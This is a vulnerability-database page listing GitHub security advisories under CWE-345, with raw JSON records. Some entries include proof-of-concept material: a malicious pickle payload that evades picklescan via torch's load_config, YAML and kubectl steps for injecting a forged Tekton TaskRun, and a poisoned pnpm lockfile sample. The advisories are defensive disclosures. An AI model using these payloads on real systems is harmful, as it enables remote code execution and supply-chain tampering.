Common Weakness Enumeration

CWE-345

Discouraged

Insufficient Verification of Data Authenticity

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

939 vulnerabilities reference this CWE, most recent first.

GHSA-VV6J-3G6G-2PVJ

Vulnerability from github – Published: 2025-08-22 16:58 – Updated: 2025-08-22 16:58
VLAI
Summary
Picklescan missing detection when calling pytorch function torch.utils._config_module.load_config
Details

Summary

Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.utils._config_module.load_config function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

import pickle
from torch.utils._config_module import ConfigModule

class Evil:
    def __reduce__(self):
        return (os.system, ('whoami',))

class EvilTorchUtilsConfigModuleLoadConfig:
    def __reduce__(self):
        evil_payload = pickle.dumps(Evil())
        return ConfigModule.load_config, (None, evil_payload)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.0.27"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-22T16:58:14Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nUsing torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker craft the payload by calling to torch.utils._config_module.load_config function in reduce method\nThen when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn\u0027t dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.\n\n### PoC\n\n```\nimport pickle\nfrom torch.utils._config_module import ConfigModule\n\nclass Evil:\n    def __reduce__(self):\n        return (os.system, (\u0027whoami\u0027,))\n\nclass EvilTorchUtilsConfigModuleLoadConfig:\n    def __reduce__(self):\n        evil_payload = pickle.dumps(Evil())\n        return ConfigModule.load_config, (None, evil_payload)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu",
  "id": "GHSA-vv6j-3g6g-2pvj",
  "modified": "2025-08-22T16:58:14Z",
  "published": "2025-08-22T16:58:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/pull/47"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Picklescan missing detection when calling pytorch function torch.utils._config_module.load_config"
}

GHSA-VXF4-QH89-W2R6

Vulnerability from github – Published: 2022-05-17 04:11 – Updated: 2025-11-03 21:30
VLAI
Details

The Hospira LifeCare PCA Infusion System before 7.0 does not validate network traffic associated with sending a (1) drug library, (2) software update, or (3) configuration change, which allows remote attackers to modify settings or medication data via packets on the (a) TELNET, (b) HTTP, (c) HTTPS, or (d) UPNP port. NOTE: this issue might overlap CVE-2015-3459.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2014-5406"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-07-06T19:59:00Z",
    "severity": "HIGH"
  },
  "details": "The Hospira LifeCare PCA Infusion System before 7.0 does not validate network traffic associated with sending a (1) drug library, (2) software update, or (3) configuration change, which allows remote attackers to modify settings or medication data via packets on the (a) TELNET, (b) HTTP, (c) HTTPS, or (d) UPNP port.  NOTE: this issue might overlap CVE-2015-3459.",
  "id": "GHSA-vxf4-qh89-w2r6",
  "modified": "2025-11-03T21:30:29Z",
  "published": "2022-05-17T04:11:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-5406"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2015/icsa-15-125-01.json"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSA-15-125-01"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-15-125-01"
    },
    {
      "type": "WEB",
      "url": "https://xs-sniper.com/blog/2015/06/08/hospira-plum-a-infusion-pump-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "http://www.fda.gov/MedicalDevices/Safety/AlertsandNotices/ucm446809.htm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-VXPM-8HCP-QH27

Vulnerability from github – Published: 2023-02-03 21:07 – Updated: 2023-02-15 18:38
VLAI
Summary
Payment information sent to PayPal not necessarily identical to created order
Details

Impact

If JavaScript-based PayPal checkout methods are used (PayPal Plus, Smart Payment Buttons, SEPA, Pay Later, Venmo, Credit card), the amount and item list sent to PayPal may not be identical to the one in the created order.

Patches

The problem has been fixed with version 5.4.4

Workarounds

Disable the aforementioned payment methods or use the Security Plugin in version >= 1.0.21.

References

Shopware blog post

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "swag/paypal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-23941"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-03T21:07:28Z",
    "nvd_published_at": "2023-02-03T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nIf JavaScript-based PayPal checkout methods are used (PayPal Plus, Smart Payment Buttons, SEPA, Pay Later, Venmo, Credit card), the amount and item list sent to PayPal may not be identical to the one in the created order.\n\n### Patches\nThe problem has been fixed with version 5.4.4\n\n### Workarounds\nDisable the aforementioned payment methods or use the Security Plugin in version \u003e= 1.0.21.\n\n### References\n[Shopware blog post](https://news.shopware.com/security-issue-in-paypal-plugin-update-required)\n",
  "id": "GHSA-vxpm-8hcp-qh27",
  "modified": "2023-02-15T18:38:53Z",
  "published": "2023-02-03T21:07:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shopware/SwagPayPal/security/advisories/GHSA-vxpm-8hcp-qh27"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23941"
    },
    {
      "type": "WEB",
      "url": "https://github.com/shopware/SwagPayPal/commit/57db5f4a57ef0a1646b509b415de9f03bf441b08"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shopware/SwagPayPal"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Payment information sent to PayPal not necessarily identical to created order"
}

GHSA-W2H3-VVVQ-3M53

Vulnerability from github – Published: 2023-07-07 18:46 – Updated: 2023-07-07 18:46
VLAI
Summary
Pipelines do not validate child UIDs
Details

Summary

Pipelines do not validate child UIDs, which means that a user that has access to create TaskRuns can create their own Tasks that the Pipelines controller will accept as the child Task.

We should add UID to PipelineRun status and validate that child Run status/results only come from Runs matching the same UID.

Details

While we store and validate the PipelineRun's (api version, kind, name, uid) in the child Run's OwnerReference, we only store (api version, kind, name) in the ChildStatusReference .

This means that if a client had access to create TaskRuns on a cluster, they could create a child TaskRun for a pipeline with the same name + owner reference, and the Pipeline controller picks it up as if it was the original TaskRun. This is problematic since it can let users modify the config of Pipelines at runtime, which violates SLSA L2 Service Generated / Non-falsifiable requirements.

I believe this is also true for TaskRuns -> Pods since it looks like we only lookup by name, though I haven't tested this.

If you have update permissions on tekton resources, you could also perform a similar bypass like this (because it's difficult to distinguish this from a Task retry). For now, I think relying on RBAC is fine and treat update as a privileged role (though we should perhaps update docs to stress this). Create is the most problematic for now. SPIFFE/SPIRE might be able to help with ensuring that only the controller can modify state long term (e.g. sign the expected UIDs?)

PoC

apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)
kind: PipelineRun
metadata:
  name: hello-pr
spec:
  pipelineSpec:
    tasks:
      - name: task1
        taskSpec:
          steps:
            - name: echo
              image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)
              script: |
                sleep 60
      - name: task2
        runAfter: [task1]
        taskSpec:
          steps:
            - name: echo
              image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)
              script: |
                echo "asdf" > $(results.foo.path)
          results:
            - name: foo
    results:
      - name: foo
        value: $(tasks.task2.results.foo)

Once this is running, grab the PR UID:

$ k get pr hello-pr -o json | jq .metadata.uid -r

While pipeline is running task 1, start fake task 2:

apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)
kind: TaskRun
metadata:
  annotations:
  labels:
    [app.kubernetes.io/managed-by](http://app.kubernetes.io/managed-by): tekton-pipelines
    [tekton.dev/memberOf](http://tekton.dev/memberOf): tasks
    [tekton.dev/pipeline](http://tekton.dev/pipeline): hello-pr
    [tekton.dev/pipelineRun](http://tekton.dev/pipelineRun): hello-pr
    [tekton.dev/pipelineTask](http://tekton.dev/pipelineTask): task2
  name: hello-pr-task2
  namespace: default
  ownerReferences:
  - apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)
    blockOwnerDeletion: true
    controller: true
    kind: PipelineRun
    name: hello-pr
    uid: af549647-4532-468b-90c5-29122a408f8d <--- this should be UID of PR fetched in last step
spec:
  serviceAccountName: default
  taskSpec:
    results:
    - name: foo
      type: string
    steps:
    - image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)
      name: echo
      resources: {}
      script: |
        echo "zxcv" > $(results.foo.path)

Get pipeline results - it shows the output of the 2nd injected TaskRun

$ k get pr -o json hello-pr | jq .status.pipelineResults
[
  {
    "name": "foo",
    "value": "zxcv\n"
  }
]

Impact

This can be used to trick the Pipeline controller into associating unrelated Runs to the Pipeline, feeding its data through the rest of the Pipeline. This requires access to create TaskRuns, so impact may vary depending on your Tekton setup. If users already have unrestricted access to create any Task/PipelineRun, this does not grant any additional capabilities.

Worst case example would be a supply chain attack where a malicious TaskRun triggered from Triggers/Workflows intercepts and replaces a task in a trusted Pipeline.

Severity
3.7 (Low)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tektoncd/pipeline"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.35.0"
            },
            {
              "last_affected": "0.52.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-37264"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-07T18:46:19Z",
    "nvd_published_at": "2023-07-07T17:15:10Z",
    "severity": "LOW"
  },
  "details": "### Summary\nPipelines do not validate child UIDs, which means that a user that has access to create TaskRuns can create their own Tasks that the Pipelines controller will accept as the child Task.\n\nWe should add UID to PipelineRun status and validate that child Run status/results only come from Runs matching the same UID. \n\n### Details\nWhile we [store and validate the PipelineRun\u0027s (api version, kind, name, uid) in the child Run\u0027s OwnerReference](https://github.com/tektoncd/pipeline/blob/2d38f5fa840291395178422d34b36b1bc739e2a2/pkg/reconciler/pipelinerun/pipelinerun.go#L1358-L1372), we only store (api version, kind, name) in the [ChildStatusReference](https://pkg.go.dev/github.com/tektoncd/pipeline/pkg/apis/pipeline/v1beta1#ChildStatusReference) .\n\nThis means that if a client had access to create TaskRuns on a cluster, they could create a child TaskRun for a pipeline with the same name + owner reference, and the Pipeline controller picks it up as if it was the original TaskRun. This is problematic since it can let users modify the config of Pipelines at runtime, which violates SLSA L2 Service Generated / Non-falsifiable requirements.\n\nI believe this is also true for [TaskRuns -\u003e Pods since it looks like we only lookup by name](https://github.com/tektoncd/pipeline/blob/0b8349b770a76877051c9c790c94bf9ed897c75c/test/pipelinerun_test.go#L992), though I haven\u0027t tested this.\n\nIf you have update permissions on tekton resources, you could also perform a similar bypass like this (because it\u0027s difficult to distinguish this from a Task retry). For now, I think relying on RBAC is fine and treat update as a privileged role (though we should perhaps update docs to stress this). Create is the most problematic for now. SPIFFE/SPIRE might be able to help with ensuring that only the controller can modify state long term (e.g. sign the expected UIDs?)\n\n### PoC\n\n```yaml\napiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)\nkind: PipelineRun\nmetadata:\n  name: hello-pr\nspec:\n  pipelineSpec:\n    tasks:\n      - name: task1\n        taskSpec:\n          steps:\n            - name: echo\n              image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)\n              script: |\n                sleep 60\n      - name: task2\n        runAfter: [task1]\n        taskSpec:\n          steps:\n            - name: echo\n              image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)\n              script: |\n                echo \"asdf\" \u003e $(results.foo.path)\n          results:\n            - name: foo\n    results:\n      - name: foo\n        value: $(tasks.task2.results.foo)\n```\n\nOnce this is running, grab the PR UID:\n\n```sh\n$ k get pr hello-pr -o json | jq .metadata.uid -r\n```\n\nWhile pipeline is running task 1, start fake task 2:\n\n```yaml\napiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)\nkind: TaskRun\nmetadata:\n  annotations:\n  labels:\n    [app.kubernetes.io/managed-by](http://app.kubernetes.io/managed-by): tekton-pipelines\n    [tekton.dev/memberOf](http://tekton.dev/memberOf): tasks\n    [tekton.dev/pipeline](http://tekton.dev/pipeline): hello-pr\n    [tekton.dev/pipelineRun](http://tekton.dev/pipelineRun): hello-pr\n    [tekton.dev/pipelineTask](http://tekton.dev/pipelineTask): task2\n  name: hello-pr-task2\n  namespace: default\n  ownerReferences:\n  - apiVersion: [tekton.dev/v1beta1](http://tekton.dev/v1beta1)\n    blockOwnerDeletion: true\n    controller: true\n    kind: PipelineRun\n    name: hello-pr\n    uid: af549647-4532-468b-90c5-29122a408f8d \u003c--- this should be UID of PR fetched in last step\nspec:\n  serviceAccountName: default\n  taskSpec:\n    results:\n    - name: foo\n      type: string\n    steps:\n    - image: [distroless.dev/alpine-base](http://distroless.dev/alpine-base)\n      name: echo\n      resources: {}\n      script: |\n        echo \"zxcv\" \u003e $(results.foo.path)\n```\n\nGet pipeline results - it shows the output of the 2nd injected TaskRun\n\n```\n$ k get pr -o json hello-pr | jq .status.pipelineResults\n[\n  {\n    \"name\": \"foo\",\n    \"value\": \"zxcv\\n\"\n  }\n]\n```\n\n### Impact\n\nThis can be used to trick the Pipeline controller into associating unrelated Runs to the Pipeline, feeding its data through the rest of the Pipeline. This requires access to create TaskRuns, so impact may vary depending on your Tekton setup. **If users already have unrestricted access to create any Task/PipelineRun, this does not grant any additional capabilities**.\n\nWorst case example would be a supply chain attack where a malicious TaskRun triggered from Triggers/Workflows intercepts and replaces a task in a trusted Pipeline.",
  "id": "GHSA-w2h3-vvvq-3m53",
  "modified": "2023-07-07T18:46:19Z",
  "published": "2023-07-07T18:46:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tektoncd/pipeline/security/advisories/GHSA-w2h3-vvvq-3m53"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37264"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tektoncd/pipeline"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tektoncd/pipeline/blob/2d38f5fa840291395178422d34b36b1bc739e2a2/pkg/reconciler/pipelinerun/pipelinerun.go#L1358-L1372"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/github.com/tektoncd/pipeline/pkg/apis/pipeline/v1beta1#ChildStatusReference"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pipelines do not validate child UIDs"
}

GHSA-W2QF-83RM-PRJ9

Vulnerability from github – Published: 2026-01-06 03:31 – Updated: 2026-01-06 21:30
VLAI
Details

Insufficient Verification of Data Authenticity vulnerability in TECNO Mobile com.Afmobi.Boomplayer allows Authentication Bypass.This issue affects com.Afmobi.Boomplayer: 7.4.63.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-15385"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-06T02:15:41Z",
    "severity": "CRITICAL"
  },
  "details": "Insufficient Verification of Data Authenticity vulnerability in TECNO Mobile com.Afmobi.Boomplayer allows Authentication Bypass.This issue affects com.Afmobi.Boomplayer: 7.4.63.",
  "id": "GHSA-w2qf-83rm-prj9",
  "modified": "2026-01-06T21:30:30Z",
  "published": "2026-01-06T03:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15385"
    },
    {
      "type": "WEB",
      "url": "https://security.tecno.com/SRC/securityUpdates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W38V-JXMP-5HF2

Vulnerability from github – Published: 2024-03-18 15:30 – Updated: 2025-03-10 21:31
VLAI
Details

Unitronics Unistream Unilogic – Versions prior to 1.35.227 -

CWE-348: Use of Less Trusted Source may allow RCE

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-27773"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-348"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-18T14:15:09Z",
    "severity": "HIGH"
  },
  "details": "Unitronics Unistream Unilogic \u2013 Versions prior to 1.35.227 -\n\nCWE-348: Use of Less Trusted Source may allow RCE",
  "id": "GHSA-w38v-jxmp-5hf2",
  "modified": "2025-03-10T21:31:08Z",
  "published": "2024-03-18T15:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27773"
    },
    {
      "type": "WEB",
      "url": "https://claroty.com/team82/blog/new-critical-vulnerabilities-in-unitronics-unistream-devices-uncovered"
    },
    {
      "type": "WEB",
      "url": "https://www.gov.il/en/departments/dynamiccollectors/cve_advisories_listing?skip=0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W39G-J8QQ-3FCH

Vulnerability from github – Published: 2022-05-24 17:31 – Updated: 2022-05-24 17:31
VLAI
Details

An issue was discovered in ClamXAV 3 before 3.1.1. A malicious actor could use a properly signed copy of ClamXAV 2 (running with an injected malicious dylib) to communicate with ClamXAV 3's helper tool and perform privileged operations. This occurs because of inadequate client verification in the helper tool.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-26893"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-16T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in ClamXAV 3 before 3.1.1. A malicious actor could use a properly signed copy of ClamXAV 2 (running with an injected malicious dylib) to communicate with ClamXAV 3\u0027s helper tool and perform privileged operations. This occurs because of inadequate client verification in the helper tool.",
  "id": "GHSA-w39g-j8qq-3fch",
  "modified": "2022-05-24T17:31:04Z",
  "published": "2022-05-24T17:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26893"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/matt-clamxav/d341bd48f12a14d2147f8ce860bb36d0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W43J-XJF7-HMP3

Vulnerability from github – Published: 2022-12-12 15:30 – Updated: 2022-12-14 18:30
VLAI
Details

Insufficient Verification of Data Authenticity vulnerability in Hewlett Packard Enterprise HPE Nimble Storage Hybrid Flash Arrays and Nimble Storage Secondary Flash Arrays.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-37928"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-12T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient Verification of Data Authenticity vulnerability in Hewlett Packard Enterprise HPE Nimble Storage Hybrid Flash Arrays and Nimble Storage Secondary Flash Arrays.",
  "id": "GHSA-w43j-xjf7-hmp3",
  "modified": "2022-12-14T18:30:23Z",
  "published": "2022-12-12T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37928"
    },
    {
      "type": "WEB",
      "url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbst04359en_us"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W466-C33R-3GJP

Vulnerability from github – Published: 2026-06-26 23:34 – Updated: 2026-06-26 23:34
VLAI
Summary
pnpm: Project env lockfile can short-circuit package-manager resolution and execute lockfile-selected pnpm bytes
Details

Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.

  • Advisory: CAND-PNPM-063 / GHSA-w466-c33r-3gjp
  • Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-w466-c33r-3gjp
  • Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1
  • Shared patch branch: security/ghsa-batch-2026-06-09
  • Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22
  • Base commit: origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec
  • Maintainer priority: start-here
  • Component: pnpm packageManager env lockfile
  • Patch area: package-manager env lockfile is re-resolved through trusted registries before execution
  • Affected packages: npm:pnpm, npm:@pnpm/installing.env-installer
  • CWE IDs: CWE-829, CWE-494, CWE-345
  • Conservative CVSS: 8.8 / CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.

Expected Patched Behavior

Committed env-lockfile package-manager entries are force-refreshed through trusted registries before execution; attacker tarball requests and markers stay at zero.

Files And Tests To Review

  • installing/env-installer/src/resolvePackageManagerIntegrities.ts
  • pnpm/src/switchCliVersion.ts
  • pnpm/src/switchCliVersion.test.ts
  • .changeset/clean-package-manager-registries.md

Focused Validation

Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.

./node_modules/.bin/tsgo --build installing/env-installer/tsconfig.json
./node_modules/.bin/tsgo --build pnpm/tsconfig.json
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand
./node_modules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts
git diff --check

The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-063-patched-result.json.

Summary

pnpm can persist package-manager bootstrap metadata in the first YAML document of pnpm-lock.yaml. Before the patch, direct pnpm execution trusted an already resolved packageManagerDependencies entry when the committed env lockfile contained matching pnpm and @pnpm/exe versions. A malicious repository could therefore commit package-manager lockfile package records and snapshots that bypassed fresh package-manager resolution, then cause pnpm to install and execute bytes selected by that committed lockfile state during automatic version switching.

Details

The vulnerable source-to-sink path was:

  • lockfile/fs/src/envLockfile.ts reads the repository's first YAML lockfile document and validates shape only.
  • pnpm/src/main.ts reaches switchCliVersion() when a direct pnpm invocation sees a wanted pnpm package manager with onFail=download.
  • pnpm/src/switchCliVersion.ts reads the committed env lockfile when package-manager metadata should be persisted.
  • installing/env-installer/src/resolvePackageManagerIntegrities.ts treated packageManagerDependencies as resolved when only the pnpm and @pnpm/exe versions matched.
  • engine/pm/commands/src/self-updater/installPnpm.ts converts env-lockfile snapshots and packages into the wanted lockfile used by headlessInstall().
  • pnpm/src/switchCliVersion.ts executes the installed pnpm binary with spawn.sync().

The helper fast path is intentionally still version-based for non-execution callers, so the security boundary is enforced at the execution path: switchCliVersion() now re-resolves already present package-manager env-lockfile entries before they can reach installPnpmToStore() and spawn.sync().

PoC

Standalone PoC and verification script:

The PoC constructs a committed env-lockfile object with matching package-manager dependency versions and attacker-selected package metadata:

{
  "importers": {
    ".": {
      "configDependencies": {},
      "packageManagerDependencies": {
        "@pnpm/exe": { "specifier": "9.3.0", "version": "9.3.0" },
        "pnpm": { "specifier": "9.3.0", "version": "9.3.0" }
      }
    }
  },
  "lockfileVersion": "9.0",
  "packages": {
    "/pnpm@9.3.0": {
      "resolution": {
        "integrity": "sha512-poisoned"
      }
    }
  },
  "snapshots": {
    "/pnpm@9.3.0": {}
  }
}

Pre-patch exploit model:

  1. The victim runs pnpm directly in a malicious repository.
  2. The requested package-manager version differs from the currently running pnpm.
  3. pnpm enters switchCliVersion() and reads the committed env lockfile.
  4. Matching pnpm / @pnpm/exe versions short-circuit package-manager resolution.
  5. pnpm installs from the committed env-lockfile package records and executes the resulting pnpm binary.

Observed primitive proof from the PoC:

{
  "primitive": "unforced resolver reuses already-resolved env lockfile metadata",
  "isResolvedByVersionOnly": true,
  "reusedPoisonedIntegrity": true
}

The same script then runs the patched switchCliVersion regression. The regression seeds a poisoned committed env lockfile, has the resolver return a trusted replacement lockfile, and asserts installPnpmToStore() receives the trusted lockfile rather than the committed one. This would fail on the vulnerable control flow because the resolver was not called and the committed lockfile reached the installer.

Focused validation commands:

./node_modules/.bin/tsgo --build installing/env-installer/tsconfig.json
./node_modules/.bin/tsgo --build pnpm/tsconfig.json
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts -t "re-resolved package-manager lockfile" --runInBand
PNPM_REGISTRY_MOCK_PORT=7799 NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../node_modules/.bin/jest src/switchCliVersion.test.ts src/syncEnvLockfile.test.ts --runInBand
./node_modules/.bin/eslint installing/env-installer/src/resolvePackageManagerIntegrities.ts pnpm/src/switchCliVersion.ts pnpm/src/switchCliVersion.test.ts
git diff --check

Validation result:

  • The PoC confirmed the unforced resolver still reuses a version-matching env lockfile, proving the original primitive.
  • Patched switchCliVersion() calls resolvePackageManagerIntegrities() with force: true when committed env-lockfile package-manager entries already satisfy the requested version.
  • Patched switchCliVersion() assigns the resolver return value back to envLockfile.
  • The installer receives the refreshed lockfile and not the poisoned committed lockfile.
  • TypeScript builds passed for @pnpm/installing.env-installer and pnpm.
  • The focused Jest regression passed: 1 passed, 1 skipped in switchCliVersion.test.ts.
  • ESLint passed for the affected package-manager switch files.
  • git diff --check passed.

Impact

